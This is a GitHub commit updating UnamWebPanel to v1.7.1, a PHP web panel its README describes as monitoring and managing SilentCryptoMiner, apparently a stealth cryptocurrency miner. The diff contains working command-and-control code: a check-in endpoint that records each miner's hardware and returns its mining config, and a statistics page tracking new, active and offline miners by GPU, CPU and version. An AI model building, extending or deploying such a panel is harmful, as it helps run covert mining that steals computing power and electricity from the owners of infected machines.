Skip to content

Commit

Permalink
Updated to v1.7.1
Browse files Browse the repository at this point in the history
* Moved miner statistics to a new "Statistics" page
* Added more statistics such as GPU, CPU, Version and Algorithm graphs
* Fixed "Hide Offline Miners" bug
* Reworked endpoint again for better performance
* Added inactive journal size limit and higher cache limit
* Reduced WAL file growth and added cleaning
* Changed SQLite synchronous mode to OFF for higher performance
* Added Spanish translation (Xeneht)
  • Loading branch information
UnamSanctam committed Jan 6, 2023
1 parent 6db3f51 commit b8b30b7
Show file tree
Hide file tree
Showing 14 changed files with 542 additions and 175 deletions.
9 changes: 9 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,12 @@
### 1.7.1 (06/01/2023)
* Moved miner statistics to a new "Statistics" page
* Added more statistics such as GPU, CPU, Version and Algorithm graphs
* Fixed "Hide Offline Miners" bug
* Reworked endpoint again for better performance
* Added inactive journal size limit and higher cache limit
* Reduced WAL file growth and added cleaning
* Changed SQLite synchronous mode to OFF for higher performance
* Added Spanish translation (Xeneht)
### 1.7.0 (25/12/2022)
* Greatly improved database performance
* Greatly improved endpoint performance
Expand Down
12 changes: 11 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<img src="https://github.com/UnamSanctam/UnamWebPanel/blob/master/UnamWebPanel.png?raw=true">

# UnamWebPanel v1.7.0
# UnamWebPanel v1.7.1

A web panel currently used to optionally monitor and manage the [SilentCryptoMiner](https://github.com/UnamSanctam/SilentCryptoMiner). Might support any other projects I release in the future as well.

Expand Down Expand Up @@ -38,6 +38,15 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi

## Changelog

### 1.7.1 (06/01/2023)
* Moved miner statistics to a new "Statistics" page
* Added more statistics such as GPU, CPU, Version and Algorithm graphs
* Fixed "Hide Offline Miners" bug
* Reworked endpoint again for better performance
* Added inactive journal size limit and higher cache limit
* Reduced WAL file growth and added cleaning
* Changed SQLite synchronous mode to OFF for higher performance
* Added Spanish translation (Xeneht)
### 1.7.0 (25/12/2022)
* Greatly improved database performance
* Greatly improved endpoint performance
Expand Down Expand Up @@ -84,6 +93,7 @@ You can find the wiki [here](https://github.com/UnamSanctam/SilentCryptoMiner/wi
* **[Werlrlivx](https://github.com/Werlrlivx)** - Polish Translation
* **[marat2509](https://github.com/marat2509)** - Russian Translation
* **[Zem0rt](https://github.com/Zem0rt)** - Ukrainian Translation
* **[Xeneht](https://github.com/Xeneht)** - Spanish Translation

## Disclaimer

Expand Down
Empty file.
1 change: 1 addition & 0 deletions UnamWebPanel/api/ajax-actions.php
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@
case 'miner-clean':
$base->unam_checkCondition(!preg_match("/^\d+$/", getParam('amount')) || getParam('amount') < 1, "{$larr['invalid_input']}.");
$base->unam_dbDelete(getConn(), 'miners', ['$CUSTOM'=>"ms_lastConnection < datetime('now', '-".getParam('amount')." day')"]);
getConn()->exec('PRAGMA wal_checkpoint(TRUNCATE);VACUUM;PRAGMA OPTIMIZE;');
$base->unam_echoSuccess("{$larr['Success']}!");
break;
case 'miner-offline':
Expand Down
6 changes: 3 additions & 3 deletions UnamWebPanel/api/custom-table.php
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ function db_setFilters(&$options, $alias, $allowedfilters){
if($base->unam_validVar([$table['db_use_globalwhere']])){
if($base->unam_validVar([$datatables['db_globalwhere']])){
foreach($datatables['db_globalwhere'] as $where){
$options['where'][] = ['db_column'=>($table['db_globalwhere_prefix'] ?? '').$where['db_column'], 'db_operation'=>$where['db_operation'], 'db_value'=>$where['db_value']];
$options['db_where'][] = ['db_column'=>($table['db_globalwhere_prefix'] ?? '').$where['db_column'], 'db_operation'=>$where['db_operation'], 'db_value'=>$where['db_value']];
}
}
}
Expand All @@ -45,8 +45,8 @@ function db_setFilters(&$options, $alias, $allowedfilters){
if(getParam('tableid') === 'miner-table' && isset($_SESSION['hide_offline_miners']) && $_SESSION['hide_offline_miners'] == true) {
$options['db_where'][] = [
'db_column' => 'ms_lastConnection',
'db_operation' => '<',
'db_value' => "datetime('now', '-3 minute')"];
'db_operation' => '>',
'db_value' => date('Y-m-d H:i:s', strtotime('-3 minutes'))];
}
}
break;
Expand Down
44 changes: 30 additions & 14 deletions UnamWebPanel/api/endpoint.php
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
<?php
/* Made by Unam Sanctam https://github.com/UnamSanctam */
require_once dirname(__DIR__, 1).'/class/class.base.php';
$base = new base();

$base->unam_toggleCustomErrorHandling();
ini_set('display_errors', 'off');
require_once dirname(__DIR__).'/config.php';
require_once dirname(__DIR__).'/class/db.php';

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE) {
Expand Down Expand Up @@ -46,29 +45,46 @@ function getData($key){
'ms_lastConnection'=>$currentDate
];

getConn()->beginTransaction();
try {
if (!$base->unam_dbUpdate(getConn(), 'miners', $fields, ['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type])) {
$base->unam_dbInsert(getConn(), 'miners', array_merge(['ms_uqhash'=>$uqhash, 'ms_rid'=>$id, 'ms_type'=>$type, 'ms_config'=>($type == 'xmrig' ? 1 : 2)], $fields));
}

$configcon = getConn()->prepare("SELECT cf_data, ms_minerID FROM miners INNER JOIN configs ON ms_config = cf_configID WHERE ms_uqhash = ? AND ms_rid = ? AND ms_type = ?");
$configcon = getConn()->prepare("SELECT * FROM miners INNER JOIN configs ON ms_config = cf_configID WHERE ms_uqhash = ? AND ms_rid = ? AND ms_type = ?");
$configcon->execute([$uqhash, $id, $type]);
$configres = $configcon->fetch(PDO::FETCH_ASSOC);
$configcon->closeCursor();

if($configres && $configres['ms_minerID']){
foreach($fields as $key=>$value) {
if($configres[$key] && $configres[$key] == $value) {
unset($fields[$key]);
}
}

$s = getConn()->prepare("UPDATE miners SET ".implode(' = ?, ', array_keys($fields))." = ? WHERE ms_minerID = ?");
$s->execute(array_merge(array_values($fields), [$configres['ms_minerID']]));
$s->closeCursor();
} else {
$s = getConn()->prepare("INSERT INTO miners (ms_uqhash, ms_rid, ms_type, ms_config, ".implode(', ', array_keys($fields)).") VALUES (?, ?, ?, ?".str_repeat(", ?", count($fields)).")");
$s->execute(array_merge([$uqhash, $id, $type, ($type == 'xmrig' ? 1 : 2)], array_values($fields)));
$s->closeCursor();

$configcon->execute([$uqhash, $id, $type]);
$configres = $configcon->fetch(PDO::FETCH_ASSOC);
$configcon->closeCursor();
getConn()->exec('PRAGMA OPTIMIZE;');
}

if($config['hashrate_history_enable'] && $configres && $configres['ms_minerID']){
if($config['hashrate_history_limit'] > 0) {
$cleanhistory = getConn()->prepare("DELETE FROM hashrate WHERE ROWID IN (SELECT ROWID FROM hashrate WHERE hr_minerID = ? ORDER BY ROWID DESC LIMIT -1 OFFSET ?)");
$cleanhistory = getConn()->prepare("DELETE FROM hashrate WHERE ROWID IN (SELECT ROWID FROM (SELECT ROWID FROM hashrate WHERE hr_minerID = ? ORDER BY ROWID DESC LIMIT -1 OFFSET ?) AS x)");
$cleanhistory->execute([$configres['ms_minerID'], $config['hashrate_history_limit']-1]);
$cleanhistory->closeCursor();
}
$addhistory = getConn()->prepare("INSERT INTO hashrate (hr_minerID, hr_algorithm, hr_hashrate, hr_date) VALUES (?, ?, ?, ?)");
$addhistory->execute([$configres['ms_minerID'], getData('algo'), floor($hashrate), strtotime(date('Y-m-d H:i:00'))]);
$addhistory->closeCursor();
}

getConn()->commit();
}
catch(PDOException $e) {
getConn()->rollBack();
file_put_contents(dirname(__DIR__)."/__UNAM_LIB/Logs/endpoint-errors.log", "ENDPOINT ERROR: {$e->getMessage()}, LINE: {$e->getLine()}\r\n", FILE_APPEND);
}

echo $configres['cf_data'] ?? json_encode(['response'=>'ok']);
2 changes: 1 addition & 1 deletion UnamWebPanel/assets/php/templates.php
Original file line number Diff line number Diff line change
Expand Up @@ -241,7 +241,7 @@ function unamtChart($charttype, $chartconfig){
}

function templateHashrateChart($label, $data) {
return unamtChart('hashrate', json_encode(['type'=>'bar', 'data'=>['datasets'=>[['label'=>$label, 'data'=>$data, 'fill'=>true]]], 'options'=>['responsive'=>true, 'scales'=>['x'=>['type'=>'time', 'max'=>date('Y-m-d H:i:00'), 'min'=>$data[0]['x'], 'time'=>['minUnit'=>'minute'], 'ticks'=>['color'=>'white']], 'y'=>['ticks'=>['color'=>'white', 'callback'=>''], 'min'=>0]]]]));
return unamtChart('hashrate', json_encode(['type'=>'bar', 'data'=>['datasets'=>[['label'=>$label, 'data'=>$data, 'fill'=>true]]], 'options'=>['responsive'=>true, 'scales'=>['x'=>['type'=>'time', 'max'=>date('Y-m-d H:i:00'), 'min'=>$data[0]['x'], 'time'=>['minUnit'=>'minute']], 'y'=>['ticks'=>['callback'=>''], 'min'=>0]]]]));
}

function templateDatatableTool($text, $checked, $options){
Expand Down
7 changes: 4 additions & 3 deletions UnamWebPanel/class/db.php
Original file line number Diff line number Diff line change
Expand Up @@ -5,24 +5,25 @@

function getConn(){
global $conn, $config;
if(!empty($conn)){
if($conn){
return $conn;
}else{
$connectionString = "sqlite:{$config['db_file']}";
try
{
$conn = new PDO($connectionString, NULL, NULL, [
PDO::ATTR_TIMEOUT=>60,
PDO::ATTR_PERSISTENT=>true,
PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES=>false,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);
$conn->exec('PRAGMA journal_mode = WAL;PRAGMA synchronous = NORMAL;PRAGMA temp_store = MEMORY;PRAGMA foreign_keys = ON;');
$conn->exec('PRAGMA journal_mode = WAL;PRAGMA synchronous = OFF;PRAGMA temp_store = MEMORY;PRAGMA foreign_keys = ON;PRAGMA mmap_size = 268435456;PRAGMA cache_size = -32000;PRAGMA analysis_limit = 1000;PRAGMA journal_size_limit = 10000000;');
return $conn;
}
catch(PDOException $e)
{
file_put_contents("db-error-".date('m-d-Y').".html", "ERROR: {$e->getMessage()}<br />", FILE_APPEND);
file_put_contents("db-error-".date('m-d-Y').".log", "ERROR: {$e->getMessage()}\r\n", FILE_APPEND);
}
}
return false;
Expand Down
7 changes: 4 additions & 3 deletions UnamWebPanel/config.php
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
$config['db_file'] = dirname(__FILE__)."/db/unamwebpanel.db";

/*
* Change to false to disable hashrate history. This option will make the
* Change to false to disable hashrate history. Having this option enabled will make the
* endpoint save the hashrate of each miner connection. This history can be
* seen on each individual miner or in the miner tab which shows the total
* hashrate for each algorithm.
Expand Down Expand Up @@ -45,9 +45,10 @@
'de'=>'German',
'pl'=>'Polish',
'ru'=>'Russian',
'uk'=>'Ukrainian'
'uk'=>'Ukrainian',
'es'=>'Spanish'
];

$config['unam_version'] = "1.7.0";
$config['unam_version'] = "1.7.1";

global $config;
9 changes: 9 additions & 0 deletions UnamWebPanel/index.php
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,14 @@
</p>
</a>
</li>
<li class="nav-item">
<a href="" class="nav-link nav-page" data-page="statistics">
<i class="nav-icon fas fa-chart-pie"></i>
<p>
<?php echo $larr['Statistics']; ?>
</p>
</a>
</li>
<li class="nav-item">
<a href="" class="nav-link nav-page" data-page="configurations">
<i class="nav-icon fas fa-cogs"></i>
Expand Down Expand Up @@ -101,6 +109,7 @@

$(document).ready(function()
{
Chart.defaults.color = '#ffffff';
loadPageContentAjax(this, 'GET', openLoadUrl, {'id': paramID});
}).on("click touch", '.nav-page', function(e)
{
Expand Down
44 changes: 0 additions & 44 deletions UnamWebPanel/internalPages/minersAjax.php
Original file line number Diff line number Diff line change
Expand Up @@ -3,51 +3,7 @@
require_once dirname(__DIR__, 1).'/security.php';
require_once dirname(__DIR__, 1).'/assets/php/templates.php';

$charts = '';
if($config['hashrate_history_enable']) {
$hashratecon = getConn()->query("SELECT hr_algorithm, SUM(hr_hashrate) AS hashrate, hr_date FROM hashrate GROUP BY hr_date, hr_algorithm ORDER BY hr_date");
$hashrate = $hashratecon->fetchAll(PDO::FETCH_ASSOC);

if ($hashrate) {
$hashratearr = [];

foreach ($hashrate as $value) {
$hashratearr[$value['hr_algorithm']][] = ['x' =>date('Y-m-d H:i:s', $value['hr_date']), 'y' => $value['hashrate']];
}

foreach ($hashratearr as $key => $value) {
$charts .= unamtCard('col-md-3', "<h4>Total Hashrate: {$key}</h4>", '',
templateHashrateChart($key, $value)
);
}
}
}

$statcon = getConn()->query("SELECT COUNT(CASE WHEN ms_status = 2 THEN 1 ELSE NULL END) AS active_amount,
COUNT(CASE WHEN ms_status = 4 THEN 1 ELSE NULL END) AS paused_amount,
(SELECT COUNT(1) FROM miners WHERE ms_lastConnection < datetime('now', '-3 minute')) AS offline_amount,
(SELECT COUNT(1) FROM miners) AS total_amount
FROM miners WHERE ms_lastConnection > datetime('now', '-3 minute')");
$stats = $statcon->fetch(PDO::FETCH_ASSOC);

echo unamtSection($larr['Miners'],
unamtRow(
unamtCard('col-xl-1 col-lg-2 col-md-3 col-sm-6 col-6', "<h4>{$larr['Total']}</h4>", '',
$stats['total_amount']
).
unamtCard('col-xl-1 col-lg-2 col-md-3 col-sm-6 col-6', "<h4>{$larr['Active']}</h4>", '',
$stats['active_amount']
, ['cardclasses'=>'bg-success']).
unamtCard('col-xl-1 col-lg-2 col-md-3 col-sm-6 col-6', "<h4>{$larr['Paused']}</h4>", '',
$stats['paused_amount']
, ['cardclasses'=>'bg-warning']).
unamtCard('col-xl-1 col-lg-2 col-md-3 col-sm-6 col-6', "<h4>{$larr['Offline']}</h4>", '',
$stats['offline_amount']
, ['cardclasses'=>'bg-danger'])
, ['classes'=>'statistic-cards']).
unamtRow(
$charts
).
unamtRow(
templateDatatableX('miner-table')
).
Expand Down
117 changes: 117 additions & 0 deletions UnamWebPanel/internalPages/statisticsAjax.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
<?php
/* Made by Unam Sanctam https://github.com/UnamSanctam */
ini_set('memory_limit', '1024M');
require_once dirname(__DIR__, 1).'/security.php';
require_once dirname(__DIR__, 1).'/assets/php/templates.php';

$charts = '';
if($config['hashrate_history_enable']) {
$hashratecon = getConn()->query("SELECT hr_algorithm, SUM(hr_hashrate) AS hashrate, hr_date FROM hashrate GROUP BY hr_date, hr_algorithm ORDER BY hr_date");
$hashrate = $hashratecon->fetchAll(PDO::FETCH_ASSOC);

if ($hashrate) {
$hashratearr = [];

foreach ($hashrate as $value) {
$hashratearr[$value['hr_algorithm']][] = ['x' =>date('Y-m-d H:i:s', $value['hr_date']), 'y' => $value['hashrate']];
}

foreach ($hashratearr as $key => $value) {
$charts .= unamtCard('col-md-3', "<h4>{$larr['Total']} {$larr['Hashrate']}: {$key}</h4>", '',
templateHashrateChart($key, $value)
);
}
}
} else {
$charts .= unamtCard('col-md-3', "<h4>{$larr['Total']} {$larr['Hashrate']}</h4>", '',
$larr['hashrate_history_disabled']
);
}

$stats = ['total'=>0, 'offline'=>0];
$newminers = ['today'=>[60*60*24, 0], '3days'=>[60*60*24*3, 0], '7days'=>[60*60*24*7, 0], '30days'=>[60*60*24*30, 0]];
$gpus = [];
$cpus = [];
$algorithms = [];
$versions = [];

$minerscon = getConn()->query("SELECT ms_status, ms_algorithm, ms_version, ms_cpu, ms_gpu, ms_creationDate, ms_lastConnection FROM miners");
$miners = $minerscon->fetchAll(PDO::FETCH_ASSOC);

foreach($miners as $miner) {
$stats['total']++;
$timediff = strtotime($currentDate) - strtotime($miner['ms_creationDate']);
if($miner['ms_lastConnection'] && $timediff > 180){
$stats['offline']++;
}else{
$key = 'status_'.$miner['ms_status'];
$stats[$key] = isset($stats[$key]) ? $stats[$key]+1 : 1;
}
$minergpus = explode(', ', $miner['ms_gpu']);
foreach($minergpus as $gpu) {
$gpus[$gpu] = isset($gpus[$gpu]) ? $gpus[$gpu]+1 : 1;
}
$minercpus= explode(', ', $miner['ms_cpu']);
foreach($minercpus as $cpu) {
$cpus[$cpu] = isset($cpus[$cpu]) ? $cpus[$cpu]+1 : 1;
}
foreach($newminers as &$newminer) {
if($miner['ms_creationDate'] && $timediff < $newminer[0]){
$newminer[1]++;
}
}
$algorithms[$miner['ms_algorithm']] = isset($algorithms[$miner['ms_algorithm']]) ? $algorithms[$miner['ms_algorithm']]+1 : 1;
$versions[$miner['ms_version']] = isset($versions[$miner['ms_version']]) ? $versions[$miner['ms_version']]+1 : 1;
}

$minercards = '';

$minercardsdata = [
'total'=>[$larr['Total'], '', $stats['total']],
'active'=>[$larr['Active'], 'bg-success', $stats['status_2'] ?? 0],
'idle'=>["{$larr['Active']} ({$larr['Idle']})", 'bg-success', $stats['status_3'] ?? 0],
'starting'=>[$larr['Starting'], 'bg-warning', $stats['status_6'] ?? 0],
'paused'=>[$larr['Paused'], 'bg-warning', $stats['status_4'] ?? 0],
'vram'=>[$larr['not_enough_free_vram'], 'bg-warning', $stats['status_5'] ?? 0],
'error'=>[$larr['Error'], 'bg-danger', $stats['status_7'] ?? 0],
'offline'=>[$larr['Offline'], 'bg-danger', $stats['offline']]
];

function statisticsCard($headtext, $bodytext, $classes = ''){
return unamtCard('col-lg-3 col-md-3 col-sm-6 col-6', "<h4>{$headtext}</h4>", '',
$bodytext
, ['cardclasses'=>$classes]);
}

foreach($minercardsdata as $miner){
$minercards .= statisticsCard($miner[0], $miner[2], $miner[1]);
}

echo unamtSection($larr['Statistics'],
unamtRow(
$minercards
).
unamtRow(
statisticsCard("{$larr['new_miners']} - {$larr['Today']}", $newminers['today'][1]).
statisticsCard("{$larr['new_miners']} - 3 {$larr['Days']}", $newminers['3days'][1]).
statisticsCard("{$larr['new_miners']} - 7 {$larr['Days']}", $newminers['7days'][1]).
statisticsCard("{$larr['new_miners']} - 30 {$larr['Days']}", $newminers['30days'][1])
).
unamtRow(
$charts
).
unamtRow(
unamtCard('col-md-3', "<h4>GPUs</h4>", '',
unamtChart('gpu', json_encode(['type'=>'pie', 'data'=>['labels'=>array_keys($gpus), 'datasets'=>[['data'=>array_values($gpus)]]], 'options'=>['responsive'=>true]]))
).
unamtCard('col-md-3', "<h4>CPUs</h4>", '',
unamtChart('gpu', json_encode(['type'=>'pie', 'data'=>['labels'=>array_keys($cpus), 'datasets'=>[['data'=>array_values($cpus)]]], 'options'=>['responsive'=>true]]))
).
unamtCard('col-md-3', "<h4>{$larr['Algorithm']}</h4>", '',
unamtChart('gpu', json_encode(['type'=>'pie', 'data'=>['labels'=>array_keys($algorithms), 'datasets'=>[['data'=>array_values($algorithms)]]], 'options'=>['responsive'=>true]]))
).
unamtCard('col-md-3', "<h4>{$larr['Version']}</h4>", '',
unamtChart('gpu', json_encode(['type'=>'pie', 'data'=>['labels'=>array_keys($versions), 'datasets'=>[['data'=>array_values($versions)]]], 'options'=>['responsive'=>true]]))
)
)
);
Loading

0 comments on commit b8b30b7

Please sign in to comment.